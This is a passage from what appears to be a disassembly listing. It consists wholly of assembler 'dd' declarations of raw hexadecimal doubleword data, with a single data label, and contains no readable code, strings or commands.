		dd 541803h, 8E1CEFABh, 5207BD41h, 6DF72A05h, 3C106939h
		dd 0B87490FCh, 3C0A8C64h, 0ACDC505Ah, 0D1FC9602h, 44C8C7A5h
		dd 4B697009h, 0E9000F6h, 3C6F8AD1h, 664C8323h, 8C0EE810h
		dd 51005D7Fh, 9080CF82h, 129CD78Bh, 80B6CB9Eh, 6FF23474h
		dd 0D0A7AF07h, 7E624525h, 3E7C507Ch, 33828AB2h,	0E223C563h
		dd 0E4B5FE02h, 5E3C9610h, 0E0037846h, 0D21C9726h, 0C1A23890h
		dd 0A8576209h, 0C89C22C7h, 584448h, 3D06D593h, 2008B3E7h
		dd 7B115802h, 40692630h, 62E2F01Ch, 15E31C46h, 0B459A46Ah
		dd 61180379h, 1079896h,	0F212E680h, 0CCFE052Eh,	7E246288h
		dd 884F5C74h, 0B2A8D94h, 0A8A9F2B1h, 605994B2h,	9E180159h
		dd 80DF9800h, 7CCEFA60h
		dd 80FD5D4Bh, 5C9ABF00h, 80FF13BBh, 0EE895F00h,	703483DEh
		dd 0E71413FCh, 0AE0C0BC1h, 0D939011h, 69E26832h, 3A51C30h
		dd 6167D5E5h, 0D90250BAh, 5FFB7E5Ch, 1DB889A3h,	81071174h
		dd 815B20A8h, 5C60B9DDh, 72E080C5h, 0B29381C0h,	0F0FB5D25h
		dd 0EB920C31h, 347051CDh, 0F6332908h, 0BA863E20h, 40586EFCh
		dd 0D09F4600h, 65FDAAB2h, 18649291h, 59578862h,	0D0A4B67Ch
		dd 61FCD71h, 5F98BF67h,	0F35A521h, 0E7F9891Fh, 0DDBE5DA0h
		dd 340EAFD7h, 0BD116FCDh, 54025034h, 67107CABh,	6005444Ch
		dd 153C9161h, 0F0F9496Bh, 0C5434E0Ah, 0F15E01FEh, 0E1651994h
		dd 64EBFC89h, 9167CB04h, 30996C1Ch, 1E20032h, 24C2530h
		dd 0E46DB5Ch, 0E881A71Bh, 99EB5F3h, 5B28C72h, 2C65930h
		dd 7FA277D6h, 0D3E1C5D0h, 336521A6h, 3074B2C8h,	3700AF14h
		dd 0CF5BE503h, 0DBD7C66h, 1B2231B5h, 0A78823F8h, 34FC0E8h
		dd 9100DE0Ch, 108ACDC5h, 14AD142Fh, 84B145F8h, 0DD218D09h
		dd 0C91249Dh, 0E9788F80h, 0C0079D7Bh, 0B5616DD8h, 138ED93Ch
		dd 4DCCACBh, 987B7C2Ch,	6A0BF444h, 9D72C7EFh, 800311D8h
		dd 0F8B37FB7h, 193060F7h, 94A7B0CFh, 132E6A03h,	0F2A3D292h
		dd 335C487Ch, 18E20Eh, 0BC097DF8h, 0D24C3E92h, 0B2013C70h
		dd 1D65F777h, 0F435D906h, 6AA28C33h, 0CD7630h, 3E81C36Ch
		dd 72B1407Ch, 5891E7E0h, 2543FD07h, 16AF8641h, 0BC23C062h
		dd 0E42ECE0Fh, 54CE9AF7h, 2EC6B600h, 87269B1Dh,	10FC6F48h
		dd 501F5D35h, 0DC80E7CBh, 7BD28DFEh, 0E5DD48h, 71C11C8Ah
		dd 47C250Dh, 21F30841h,	0BA80809Fh, 784C1AF4h, 0EC2F1628h
		dd 19D483h, 0D0CE7171h,	740D91Eh, 0B5FA1601h, 34D8FB58h
		dd 89AF1F3h, 69382101h,	77510F0h, 11AC8495h, 82106900h
		dd 1507B68h, 0B6910072h, 2F254FEFh, 90138DFDh, 7448D90Fh
		dd 0B6C28B74h, 0F8D05011h, 5A803272h, 0BD5A6Eh,	60C16684h
		dd 0A1D4C5B6h, 0F9151FDCh, 6DF5B440h, 9EDCB749h, 200C9D34h
		dd 0A008D55Ah, 615A8CB3h, 880026B1h, 346B604h, 7018EBDh
		dd 325E0D60h, 9EE400A0h, 5924F2D5h, 9130B020h, 0ECB5C271h
		dd 7CE496ABh, 2A0F6646h, 6BE4349Eh, 0FD14E0C3h,	93692005h
		dd 74D70F47h, 681648A5h, 8CA6B888h, 0CE35AB05h,	0E4A29BE8h
		dd 3543ACC3h, 7D6A4A88h, 3BD6DA00h, 1D12D528h, 0F47E3EB3h
		dd 878077B0h, 524F3055h, 0C038CC48h, 0BAA9D4BBh, 989EE490h
		dd 1A3EF50h, 0E6E02EC9h, 803916CEh, 367B93C0h, 485A4392h
		dd 0FF415475h, 0C422706Ch, 0A19E63Ah, 0F015E486h, 7BD13829h
		dd 0B5028B18h, 488F5109h, 0C34CC8FAh, 0C44503F9h, 0D1C963A7h
		dd 1DA985B8h, 7707602h,	79A1C5B2h, 71E02960h, 2A186Eh
		dd 0B7D60DFCh, 58A0CAB8h, 147C9104h, 0C492C247h, 0F8A0A33Fh
		dd 10C78528h, 1455E5B0h, 0E3E8DC9Fh, 6435420Fh,	44A243E8h
		dd 353A91C0h, 0AC0015A6h, 92CFE773h, 0A082EDFBh, 0C153ACh
		dd 193CEFB5h, 386561AEh, 5091E17Ch, 6830A188h, 0F74205D6h
		dd 687022C2h, 2EC1AF20h, 16E300A1h, 0B4DA5CE5h,	28A0325Dh
		dd 0B207E006h, 2E7C9CF0h, 0F845E3B2h, 64573044h, 0FAFB60B1h
		dd 0D846A400h, 0FC0DE94Fh, 12E8F29Ch, 0FD4AEEh,	4872AB10h
		dd 28179313h, 0C2FB14Eh, 0C0726C10h, 0EE9ECC2Dh, 20BF4D3h
		dd 0E3923839h, 0E10A7A65h, 840FE12h, 33B294A8h,	0BA073E92h
		dd 9D43E2Ah, 0C6475DA7h, 10600C6Dh, 0FA2EDD0Ah,	4CC0A0E1h
		dd 0E5220218h, 709062BEh, 0B2D29120h, 29FD0937h, 44E5B1FFh
		dd 1870FFC2h, 5607319Dh, 0EEC7DD06h, 4CA42980h,	8AA8A0F6h
		dd 7C8C81FEh, 48488918h, 789D62C0h, 96201CBEh, 5EF402Ah
		dd 661E843h, 0D422B205h, 0C8E00988h, 0A8765CE1h, 78C09F8h
		dd 8EDB14C4h, 26BFE168h, 0CEF02042h, 4810C625h,	0C505CDD8h
		dd 0F2974DA0h, 12490068h, 4F0BEE2Dh, 5898489Ah,	148C63BCh
		dd 88A59DFAh, 170DF610h, 58307E7Ch, 2CE5EC8h, 0B461A797h
		dd 70C70A4Eh, 946076C4h, 40748541h, 0C7423201h,	60D314E4h
		dd 64141E2Bh, 0B8172F28h, 0A807F11h, 31490715h,	73E27412h
		dd 244D2CC8h, 2B8A23Fh,	70124B7Dh, 0D2E40209h, 0F2A4480Fh
		dd 30880757h, 34CDBF20h, 88E4CE10h, 0B019C007h,	0D7066306h
		dd 64431C7Bh, 0BE2AFED8h, 5D17DCD4h, 9AACA506h,	0B916113h
		dd 5CA18471h, 5BFEECh, 24667740h, 12100931h, 6218E086h
		dd 41F0548Ah, 26BF72B2h, 74AA02A0h, 59B692B8h, 0A2486020h
		dd 4A60D174h, 447D188Ch, 0CDCA0146h, 0EEE93DACh, 470289Eh
		dd 615071F0h, 0B922F0ACh, 2C1FCC98h, 0B2017BCAh, 0CE45CC2Ah
		dd 2E841FC4h, 11346C72h, 14386488h, 284B0F5Fh, 34FB8682h
		dd 0F2B34849h, 0F7A7B620h, 57B02585h, 0FBDED848h, 0CDC9280h
		dd 30F3F92Eh, 56257C31h, 2FC0664Eh, 0DC9D07B0h,	0DC807791h
		dd 7231992Dh, 8900017Dh, 93BDD0BFh, 30FCADD1h, 25793A19h
		dd 770027CBh, 9F26DF46h, 9A554943h, 9AB24BC0h, 7A44C074h
		dd 25FCE1E4h, 0A06A6C1Ah, 7795C51h, 84049D18h, 7BCF6202h
		dd 822A8C83h, 0A00CDAEEh, 80797634h, 3E60ED78h,	9D3DA171h
		dd 4B91167Ch, 0C1A05DD6h, 3043F913h, 0B18828D1h, 620DBDB6h
		dd 307AE2C0h, 6C1DDBD2h, 74C0703Ah, 946204F5h, 4BF0926Fh
		dd 6C008D86h, 436BBC54h, 67E30172h, 0EB1E2B49h,	4B1F82E4h
		dd 4E208D28h, 0C97D8814h, 0C001C504h, 0A8BAB72Ch, 0B098F498h
		dd 4B6D9520h, 4B408CD0h, 63EFF600h, 0CEE87F8Fh,	0F817403Eh
		dd 3196D1Bh, 4F86E188h,	11A318Ah, 8980BBE8h, 0D7C8C546h
		dd 1005AC34h, 0EA5C444Fh, 5183BC1Fh, 0F1833ABFh, 0C2A231Ch
		dd 0BA9EAD58h, 0D001DCBBh, 0AAF7A92Eh, 0B4806C73h, 4E1F2EC8h
		dd 21FD6A02h, 84ABE573h, 0AD60C4B8h, 9227B774h,	8496AEh
		dd 774A549h, 0E6FE4359h, 202F194Ah, 1E0B6623h, 0FB1C027Dh
		dd 0B480A6Eh, 0ACE767BAh, 66630B64h, 0E4EB7298h, 46609C09h
		dd 0F558839Ah, 2FAF899Eh, 4824402Ah, 6E986B3Fh,	0A19CA000h
		dd 2DA7BFAh, 0C651C79h,	1FEBC0ABh, 2944848Bh, 1A994902h
		dd 47615AF4h, 606CC450h, 526057h, 3438FE40h, 0EB8FA50Ch
		dd 0DC16F55Eh, 6B2EC804h, 764E0701h, 5A188066h,	30711FF6h
		dd 79D4B1C6h, 0D81879h,	80EFC1C7h, 65FCBA8Fh, 0C8FE493Dh
		dd 3EEE0844h, 8AC2606h,	6A109243h, 0CAE6D003h, 1FA0D5A3h
		dd 6C4A1CACh, 80D124CFh, 0D042CAC0h, 43007773h,	0C83D6D3Eh
		dd 0B1295AFh, 0A32F970Ah, 2EC778B0h, 0F2F74012h, 0B10040CBh
		dd 0EBB02EBFh, 8CFA5BA4h, 0C80560F0h, 96EC7E18h, 6C5B4CB1h
		dd 6BA1A8C1h, 0EEDC70F5h, 2AC2E140h, 29C987Eh, 27FDB5E3h
		dd 0DC74A8A0h, 0F9B8A540h, 4A6500C6h, 0E409D028h, 91168060h
		dd 2F02A285h, 0D9749362h, 0B0443A68h, 0E8F8775Ch, 88008C64h
		dd 876E6B32h, 8D5B21Ch,	695A9D8Fh, 7F072B80h, 72411F77h
		dd 0B15D178Eh, 77886F72h, 96BEC20Eh, 2DD021D4h,	16AD874Fh
		dd 66915097h, 0BA336B83h, 40743BF9h, 7E4369D4h,	0A01F534Bh
		dd 3A8F03E2h, 83A1B931h, 96E4D0F0h, 74AD500h, 1C24F216h
		dd 63E848BAh, 0A672C713h, 3FACE070h, 0B8CD01E0h, 0A23D4041h
		dd 6C8F07Fh, 67FCB205h,	0F48ED991h, 0CBC003C8h,	0B6B360E8h
		dd 7B808224h, 9C08E43Fh, 3A901026h, 90868C05h, 0E884C473h
		dd 8C77BC54h, 1CD71000h, 0CF023CDBh, 0CCC04CA6h, 0A012FB2Dh
		dd 918D45Ch, 0B1C64471h
		dd 187979E4h, 0DEA20F49h, 0FF05B8CAh, 71C8D019h, 9B027C36h
		dd 22DA4B01h, 1AE8C062h, 73C987C5h, 0EBA5093Ch,	0B88D5884h
		dd 7CB31EF4h, 18A1F952h, 8F80302Ah, 6B4021F3h, 906211D2h
		dd 5A8D096Fh, 3020F8DCh, 0AB31074Bh, 5281DEFh, 0C94D8C2Ch
		dd 0FAB8ACh, 0A4FB65Bh,	0B292F8D1h, 910F3206h, 296657h
		dd 0A9F781F9h, 8AC39353h, 1A090B4Ch, 5E216E7Ch,	0CFD01620h
		dd 0AB41040h, 0B20CF292h, 80B03178h, 0BF0B79E0h, 43CA3CDh
		dd 8DFD3B53h, 380CECA4h, 7AAA5E6h, 50F2F2FCh, 76687E07h
		dd 7E007446h, 8791222Ah, 280064AFh, 0EFB5F469h,	25D7824h
		dd 93634C7Dh, 0FC5E2EFDh, 0F57F05F4h, 0B2C2A96Dh, 9DBC2270h
		dd 0B90E0C37h, 0FA807DDBh, 70E25D7Ch, 8A32D5Ah,	7A64D047h
		dd 23A72D60h, 1C7C4704h, 0A0FD4F9Bh, 0DC39F90Bh, 0D0F4A064h
		dd 6F0250Bh, 13401248h,	0B247C414h, 490CB04Dh, 43488F6Eh
		dd 28804BA6h, 0D3C03EF4h, 0E774F660h, 0BC6C0C50h, 553E023Ch
		dd 66CEE761h, 0F21D1C78h, 3CAE5213h, 910C9727h,	0A0C7807Ch
		dd 5E4BFEB6h, 0A06BC6h,	0FCC503E4h, 5C1B3Eh, 0F927F010h
		dd 0D45A2A43h, 0EF2E7570h, 58B9303Dh, 4EAE80ACh, 7322529Eh
		dd 493C9CEBh, 7ACE081h,	61A700D9h, 408C9EB7h, 6355C8DFh
		dd 85B07B58h, 0C05EFF19h, 43654840h, 82634Dh, 70DE909Eh
		dd 0C33376FCh, 0B032CAF2h, 25535037h, 12A6C1E3h, 13E0746Ch
		dd 0B304549Ah, 7085F60Ah, 46F41A01h, 37C0687Dh,	6B118842h
		dd 98E94A5Ah, 66F28872h, 0E0686C30h, 271DFE4h, 9E91E36Fh
		dd 0FF1C3400h, 5EB7837Ch, 0B02312C5h, 4C13B594h, 0B8C89EDFh
		dd 5A29F8F8h, 0D4BC8116h, 0B8342C97h, 347D8C6Dh, 0A119E01h
		dd 6C4E5EEDh, 0B6CC57FDh, 0DE8B014Ch, 875189B5h, 0D6F431C0h
		dd 31C0FE27h, 4B3829A5h, 0AD904317h, 0E0F8C5E4h, 3D00A0D4h
		dd 0AD9825Eh, 1DBCA44h,	8519F4BFh, 6B1D308Ah, 0F0A64452h
		dd 0FDA182E0h, 7C620609h, 3878D172h, 9C01FCA5h,	435637Eh
		dd 180DCC0h, 68D98AD9h,	0F8187959h, 70A86E00h, 0EEF2B731h
		dd 0B443B57h, 0C460DA5h, 76B5C880h, 378DC98h, 0B83795h
		dd 82EEDCF0h, 6D10FD58h, 0C585B3Dh, 13394071h, 20489F24h
		dd 2306F340h, 72912F8Fh, 0D74CB000h, 0C0F54BB4h, 0B0B639EEh
		dd 0D8B725h, 18BA2D64h,	0FA021BA4h, 6133234Dh, 8B585EB8h
		dd 2462F85Bh, 81583873h, 14A3262Ah, 53BF08C4h, 2C07702Bh
		dd 37B9D4E7h, 618C38B4h, 6E716A5Ah, 0C23A0205h,	0AC0F4393h
		dd 802122Dh, 51763010h,	60F47BB8h, 0EF8E545h, 4E28945Ch
		dd 1A022A8Eh, 14D1AA21h, 4180A79h, 148B4A05h, 2CB4A42Fh
		dd 620A40DEh, 0E1679132h, 80F47E19h, 9DDEC0CFh,	0BDF403C7h
		dd 89623D00h, 0CEE926BCh, 18DD488Eh, 946AAC12h,	0B82CE9D8h
		dd 0CA64032Bh, 94FE80DCh, 0CBA804DDh, 0C84CE07Ah, 96634A0Bh
		dd 0F29C206Bh, 267421Fh, 0E6E8E122h, 0B45403A2h, 0BC1F3893h
		dd 0C85B51D0h, 6CBB3524h, 0FCC3F0h, 0F72CB220h,	56D7C944h
		dd 30877C04h, 60B17EFDh, 0A0507BD9h, 0F4E8F464h, 0CDD30EBCh
		dd 99000BC8h, 0E4BA0C87h, 30590E31h, 0C23ADAEh,	0F300CA2h
		dd 0C4311FA7h, 0F9E9408Ah, 58BD6DF7h, 8626E490h, 0CE3DA4C9h
		dd 64945403h, 0FD980D7Ah, 2F49CBF2h, 923FC2Fh, 0AA1A1800h
		dd 38602FF0h, 35AEF8FFh, 0B1286164h, 6E0C2044h,	691A3440h
		dd 0E4C571F3h, 3F6306E4h, 679389A8h, 8092375Eh,	718451C6h
		dd 17AC187Fh, 0C28BCD62h, 14712A1Ch, 57180579h,	8F690902h
		dd 0DA89BDEBh, 1CA095A8h, 0D355D72Dh, 0D0327C24h, 547BDEh
		dd 3A102DB5h, 28419512h, 4B258DB0h, 3FE4419Eh, 0ECC0B425h
		dd 2A49A65h, 0F6C81187h, 0A0DB77DCh, 358B5A5h, 3716D0A1h
		dd 0A09F9940h, 1658873Dh, 0AC5006B1h, 436BEC30h, 5AC50072h
		dd 3EBD8ADAh, 17CD05D4h, 0C2B29313h, 0A840ACF6h, 1DBD6D5Ah
		dd 71018830h, 8C6C2160h, 7C47008Bh, 0E6E94E6Dh,	68940E2Ah
		dd 134F4400h, 17E3CB94h, 435E4B64h, 1F147C8Ch, 0FDB6D902h
		dd 200F491Eh, 2C1BE328h, 8905EEF6h, 24374F2h, 3204E8A8h
		dd 74F86FCh, 907917A8h,	0E7529Ch, 0DC35036h, 99A4967Bh
		dd 0BA74FD03h, 0B2EF2F8h, 0B1B0C729h, 6C45045h,	5C9C7760h
		dd 7EE6CF04h, 7C093523h, 78A02CC4h, 0F7076884h,	0B12C4BF8h
		dd 67C0CD19h, 5AA6CF9Dh, 3E005965h, 0EB1FD934h,	6D76070h
		dd 6BF81E67h, 22036854h, 5A8D7CCAh, 0A5310062h,	0E85898C9h
		dd 0C500CB20h, 5509987h, 265793F7h, 805468B6h, 0F248ACDh
		dd 0EE27F8CAh, 0B6584633h, 64465E70h, 7AFF7B07h, 0CC90A9DEh
		dd 1503E78Ch, 0A12A96F3h, 5A3899B8h, 0C002B461h, 2080290Fh
		dd 1676939Bh, 0AD389704h, 4781D292h, 182469E3h,	95622ECDh
		dd 1CF240CCh, 6103DA51h, 88BC48DBh, 0EDB1E230h,	8B0AC088h
		dd 100075C0h, 67E1F74Ah, 187C9427h, 71793258h, 23001D38h
		dd 59C77418h, 2F79ACDh,	7DFA0429h, 0E8E86E2Ch, 64F0F6CAh
		dd 46A4819Fh, 8E157113h, 0C0688878h, 9B4F6616h,	25039D7Dh
		dd 0C5857CF1h, 0B06A54E6h, 0D1AC99ACh, 9691807h, 11CF86C6h
		dd 63B3C402h, 6CFC7B04h, 0C854CE4Fh, 1713C00Ch,	67017A88h
		dd 6FFBBA4Eh, 0E028956Eh, 3ECEE604h, 64A10BE3h,	4C30598h
		dd 830EDD6Eh, 92A8CFDDh, 1CBB1376h, 0E36E907Bh,	119E286h
		dd 0A609035Fh, 68F24391h, 20705054h, 12361580h,	17C1B8F9h
		dd 1186E1Ch, 6247F9B3h,	35F0B5FBh, 12340EDDh, 0AB40D848h
		dd 80363289h, 60BB9338h, 0A1BEE1F8h, 8DC14FFDh,	0C01C3AECh
		dd 7FA23FC1h, 0F028F748h, 19EF2D00h, 96D84788h,	3AEAC200h
		dd 32DED057h, 0B83F62AAh, 90F4EC1Ah, 6856E8B1h,	7787E048h
		dd 13F81389h, 4AF409B7h, 36B2C841h, 2EDDE080h, 22189068h
		dd 0EB005BC3h, 73DCE7AFh, 0BA22FCBAh, 250D0ACCh, 80CC7E57h
		dd 5AAAC636h, 0EA0FC48Bh, 0C0828378h, 0B6A30AFh, 473E077Ah
		dd 5AF4BA91h, 30C22720h, 0E11449Fh, 321F8881h, 0E063E9ABh
		dd 3135448Dh, 0A0C376E8h, 56D082A3h, 3E4B41D8h,	48B20784h
		dd 30FC4982h, 0AE004439h, 141144B2h, 590D6A5Ch,	30602243h
		dd 0F2C0387Fh, 0A501820h, 7A0314E2h, 8DEB89D0h,	0ED2DE854h
		dd 0E52AC178h, 0B283CCE3h, 0A1074E30h, 2DD1B6CEh, 0F82E5542h
		dd 0E2C0B313h, 7CB3069h, 0D8D04905h, 68FD6DFCh,	1FCEEE12h
		dd 0B1697B9h, 3C7AEF88h, 65F73700h, 34D9109Dh, 0B03227B5h
		dd 383DA011h, 972A0DD4h, 0AC084154h, 0A4E8E0A1h, 0F0FD2CC4h
		dd 0B0CD47D4h, 8D317497h, 148C32FDh, 8F98361Ah,	0B8C4C5D5h
		dd 0A4C82C27h, 0F02017CCh, 0EE17E464h, 54E315EAh, 403264B2h
		dd 297BF143h, 28D8FBFDh, 6FF32084h, 31603030h, 3537C2h
		dd 9FFAC4B3h, 7E31758Fh, 7617C500h, 0A9B88B40h,	0C98A4FB2h
		dd 72E6C178h, 7A607A00h, 0EDBE4349h, 2831030Ah,	65FD676Dh
		dd 0B2DC91A5h, 5FF068B5h, 34C15C9Ah, 0C1486CE1h, 0A4536EE5h
		dd 9D41D830h, 0B7FA0083h, 0ADCDDD5Ah, 0B4279B36h, 44A0E42Ah
		dd 0E6955BB2h, 5E04B604h, 7C18FDh, 8DD6B4CAh, 923AA37Fh
		dd 2FB9C40Ch, 0F59161h,	0FFB7B3B1h, 0F5F5BB4h, 0D6281A1Ch
		dd 0AE1584C3h, 4280808Fh, 5CBF5CAAh, 6359E20Ch,	0FB0705F1h
		dd 7F51B262h, 0AD03A27h, 3BDD6D1Dh, 1BA4F21Eh, 0CB66823Ch
		dd 104130FAh, 28D1E241h, 0C5187B79h, 0B3CE3400h, 1F8380D9h
		dd 5C24B710h, 298A206Ch
dword_50A448	dd 35ED094Ch, 50525A02h, 0C4CB3200h, 0FF333FC6h, 19606359h
		dd 0E9E0BCD4h, 0F000C844h, 3D6DA726h, 47D8F86h,	0E66349BFh
		dd 0B8C0A929h, 4E90B07Dh, 0FE588816h, 4E7C8C40h, 0C874CB2Eh
		dd 47E4C306h, 221A029Fh, 58C438D8h, 0D502756Ah,	0B0D9295Ah
		dd 79186579h, 91949D9Fh, 0B73897Dh, 48CC0553h, 0FE00FCACh
		dd 41709437h, 0D84EE55Ah, 83C000DAh, 261233D8h,	3C905A5Ah
		dd 1F678782h, 54DF11h, 17F2E03Ah, 0E64A5218h, 0CF93495h
		dd 650E71B8h, 17C19D9h,	70DB5B39h, 996806Ch, 0DCE23AACh
		dd 6453608Bh, 0C45E970h, 0E6C7860Fh, 7C80E0B0h,	0C8400268h
		dd 539CB179h, 701076C3h, 1504DE26h, 89104BA2h, 2081FC24h
		dd 9BCF3718h, 800FFA48h, 0B004EBABh, 512AEFF8h,	0D4D07CD2h
		dd 7C4CB990h, 9902DA80h, 8F0B8C40h, 0C87BFB35h,	43F30E94h
		dd 796D08E1h, 0CC45CB03h, 0B2606864h, 0AD00B81Ah, 844AFBACh
		dd 172D4BFDh, 6F763011h, 0FB3F003Ch, 42C2943Bh,	2D0302D7h
		dd 887CCD16h, 8EBF8048h, 0EC05Eh, 0A630A086h, 801E0h, 278AB3C7h
		dd 7E5DD0AAh, 6CCF8400h, 44FA5C81h, 0A17C070Eh,	0C02A044Ch
		dd 811FFBAh, 20A02BB8h,	5C0D8714h, 9ABD6CBEh, 0EFBD0h
		dd 53857873h, 0B4688C01h, 5DF4B10Ch, 0CA7285Bh,	80150C5Ch
		dd 36006139h, 300AA67Dh, 660268DAh, 21770820h, 0E07DC3A0h
		dd 0B592C01Fh, 37672307h, 564A45B0h, 60DA306Ah,	0B4838128h
		dd 0ECD9B9C0h, 7D096CEh, 9076B3ADh, 0BE9B0354h,	0F52F81D1h
		dd 4C07D26Dh, 0F4039DA0h, 0BA400CACh, 5908C4EBh, 0B6A721C0h
		dd 72F7259Dh, 2A3F00E2h, 60E5C154h, 1C01DAA3h, 0B1B357CEh
		dd 0B1804DEAh, 620FD708h, 180E61E9h, 0A70239F1h, 60403354h
		dd 492CBCAh, 0E08C687Fh, 0F61E4038h, 0ED7D6DDh,	0A1FB82D4h
		dd 0E0620DA6h, 0A7CF081Dh, 10055073h, 0B14A28h,	0F4C27D45h
		dd 1899929Ch, 50B6505Eh, 0A36C3869h, 8C2CF0C1h,	69DB904h
		dd 6662C4F4h, 9DB1AC20h, 16100078h, 0DC520B50h,	777163E2h
		dd 3D0C79B8h, 80D2C2D6h, 590D6983h, 84AF1B01h, 0DED180BDh
		dd 373640A6h, 60650C98h, 0C508A83Fh, 9EFC21C0h,	89E740h
		dd 414D7AB8h, 61696BBCh, 9C080214h, 8CC7B828h, 4DB92300h
		dd 71581C2Dh, 0C5D490Ch, 4350200h, 0F57DE51Dh, 0FE103861h
		dd 21817028h, 0A8FC0DF7h, 0DD80CC7Fh, 13005976h, 0FFD4E787h
		dd 0FF5DF72h, 63E30E36h, 0F848C6Ah, 0F38544A2h,	23CC013Eh
		dd 910E21E2h, 0A180B4B8h, 80373940h, 0F9C4448Ch, 0C6033998h
		dd 2EC1EB79h, 0CF69E804h, 206A4927h, 0E50EF601h, 0D875C27Eh
		dd 0A378A41Dh, 0DDEBA605h, 0C405C906h, 0FC44B9ACh, 3232413Bh
		dd 0E09DBB30h, 229446F4h, 0B3AA0165h, 47EEE39Dh, 0D0F7D92Ah
		dd 1348A7C5h, 0F6C880F0h, 2805AEh, 6D4C10Eh, 0ADE7A12Fh
		dd 1D547149h, 0F8A08FD7h, 20CA3B7h, 0F601AEB0h,	0D900C54Ah
		dd 32C11E07h, 2BA84EFFh, 109DBA30h, 0E0CCF407h,	29DB2ABh
		dd 763B6A30h, 6C623598h, 0C711BC1Dh, 8545FD80h,	0DD39E623h
		dd 0C0EA24F5h, 476BE582h, 0A0F48A88h, 3584674h,	0A2D5F35Eh
		dd 0DB5001D6h, 53D259A8h, 302E02CCh, 4119DB7h, 5A88B4F4h
		dd 9DAFAE80h, 9C0B351h,	6B8B63E5h, 36DEC421h, 3E6900BBh
		dd 0D831D043h, 722AC0DEh, 0B43F8FB3h, 2564DB0Fh, 210C2C1Eh
		dd 4B430C81h, 13508A5Fh, 0E2197060h, 1407B89h, 0A6E861A3h
		dd 0F0971826h, 0DC00E4F6h, 0CA999582h, 2ADDB8Ah, 0E70A8B89h
		dd 0FC885C83h, 8BB011C4h, 370182A5h, 0CAC4B1A0h, 409DFD10h
		dd 3747D49h, 1C043F83h,	0CAC2C099h, 0EC0F0010h,	0AC576D3Ah
		dd 0D771FC8Bh, 2C4DFD24h, 0CBCF5203h, 1F780467h, 8E9B08A2h
		dd 0C7CB8804h, 2BEC0038h, 0A30C0439h, 21BA85C5h, 0DDF30ABEh
		dd 16B4D5AEh, 29160906h, 53C2C90h, 0E3B82E00h, 0DB854902h
		dd 444874FAh, 0D001D74h, 2C5952Eh, 6083668Dh, 27B859B2h
		dd 1900D745h, 3F5514FCh, 0C6E608Fh, 6199B737h, 0DF100EE0h
		dd 0EF063D3Bh, 187045E7h, 68D9B101h, 3746967Ah,	989165D5h
		dd 2E04809Eh, 8C0AE3B7h, 21E7244h, 91972E0Ch, 18C996E1h
		dd 3BEB106Ah, 57DB1A79h, 589D5890h, 0E4815911h,	0C9643FADh
		dd 0C6BC412h, 10D08C60h, 3061E7FDh, 5D315C97h, 8200F73Bh
		dd 0B81B2E20h, 61D5A1h,	3E4D43CAh, 5F40ED57h, 221A3F00h
		dd 0F1933B9Eh, 0ECB11230h, 8C584682h, 0C0F1D9E8h, 69602A9Dh
		dd 21CEF711h, 41EE26EDh, 9B98005Ah, 16C60212h, 5F0F90Fh
		dd 809C35BEh, 0E3BA2E07h, 224843F2h, 0F1B0077h,	13C7192Eh
		dd 0A022F3Ah, 0B69A23Ch, 29489ABh, 126E831Ch, 279AA005h
		dd 0BB2E0030h, 0CCA72AE3h, 2E082200h, 989A7FDh,	0B3F2D5F5h
		dd 4B993C00h, 58C366ABh, 186F0671h, 0F9CE8331h,	4D033E89h
		dd 1E9A72E7h, 6A009F06h, 1F205BAh, 0DF33CE8Ah, 0EE55E89Bh
		dd 180DC0E1h, 0A57D0835h, 79C4380Ah, 7D2DC040h,	1B0017B3h
		dd 8D07EBCBh, 2E6A1DA1h, 0A84C3BEFh, 4339205Ch,	0AFDF1C11h
		dd 31EF077Ch, 8306A85Ch, 0B870860h, 20954C57h, 54B5F078h
		dd 456B80FCh, 0D8A2EC65h, 0BD81C906h, 6046176Dh, 860F25D0h
		dd 0DC0013Ch, 2960F1BFh, 1AE530B5h, 8B61F928h, 1ED9D1Ah
		dd 0B87BDD10h, 58364D58h, 2503CE80h, 0E381F947h, 0F85C7786h
		dd 0A4CF009Ah, 0FDB0B74h, 1A606B85h, 0C156CD7Dh, 0CC97AB2Dh
		dd 0B5188B90h, 0F5BA2899h, 0C5BD1483h, 0EE6392EEh, 39180B84h
		dd 810B4FE9h, 0DBEA02C6h, 85C76122h, 0C2AD188Dh, 25BF17Fh
		dd 1D7D8D29h, 172ECBA6h, 0A5BD8B1Ch, 84218420h,	1FE9FD6h
		dd 0BC60A0D6h, 85C5AE8Dh, 601C4424h, 0E19C7F2h,	0EA5CD5F8h
		dd 1EBEF140h, 4B5AEF59h, 0D2D40ABh, 57922707h, 3ABE6600h
		dd 0FF2381F1h, 0DDCEE5FEh, 9A58F3DBh, 93B03873h, 21B58986h
		dd 8B48C62Eh, 0DB8C1600h, 0C06D9AFAh, 0F1570E5Ah, 9951089h
		dd 28F63E31h, 0B35BF004h, 23133BBEh, 0DC161Ch, 0D70DD0DEh
		dd 0A8064F34h, 68D95FFh, 3056B766h, 0FFF25AD6h,	9B827B40h
		dd 7DC77F8h, 9358E5BEh,	0EB8A507Bh, 5C06A403h, 11E8BF6Bh
		dd 735A002Fh, 200C3AF0h, 0DC00A64Ah, 8F18521Fh,	0F5D5FE5h
		dd 50905EFBh, 5520852h,	18A0BF81h, 31ED1334h, 6C8FE740h
		dd 5058165Ah, 3F8BAA90h, 32C71B88h, 0AFF272E0h,	0BAC80003h
		dd 0F9FE8B66h, 6EF3EAE9h, 0C8BDCBF9h, 0E2392797h, 0F7D32D78h
		dd 0E487BD12h, 0B01298CDh, 3375BD44h, 8E70E604h, 0C01A8849h
		dd 9E3D6FB4h, 0FD7BE816h, 3AEC90AAh, 850096DFh,	0A61D1BCBh
		dd 97E49BADh, 0AAD8C085h, 15E23CE2h, 48516E30h,	0BF02A8F9h
		dd 0BA5FD313h, 9D102466h, 8B123189h, 23ED3AC3h,	51290214h
		dd 53DD8F0Fh, 0AD368039h, 5E1C17ABh, 4E8C101h, 0DE9BD33h
		dd 0F7667280h, 65B52BE2h, 0C0120E6Eh, 6DE681D8h, 2D6802B3h
		dd 241C8950h, 1D441747h, 3D4CB460h, 9AC76D0Fh, 671E4034h
		dd 59F5BD23h, 0FF163113h, 0F84C22B5h, 1B31B240h, 73DDFAFDh
		dd 526E5883h, 7E127590h, 180A5E9Fh, 220011E9h, 48FD3C2Ah
		dd 659B0055h, 8193BEE2h, 0FE021295h, 327CF8BAh,	1D2B42F3h
		dd 0C01C11F5h, 0FC558B76h, 216F0428h, 4009E903h, 0A6236194h
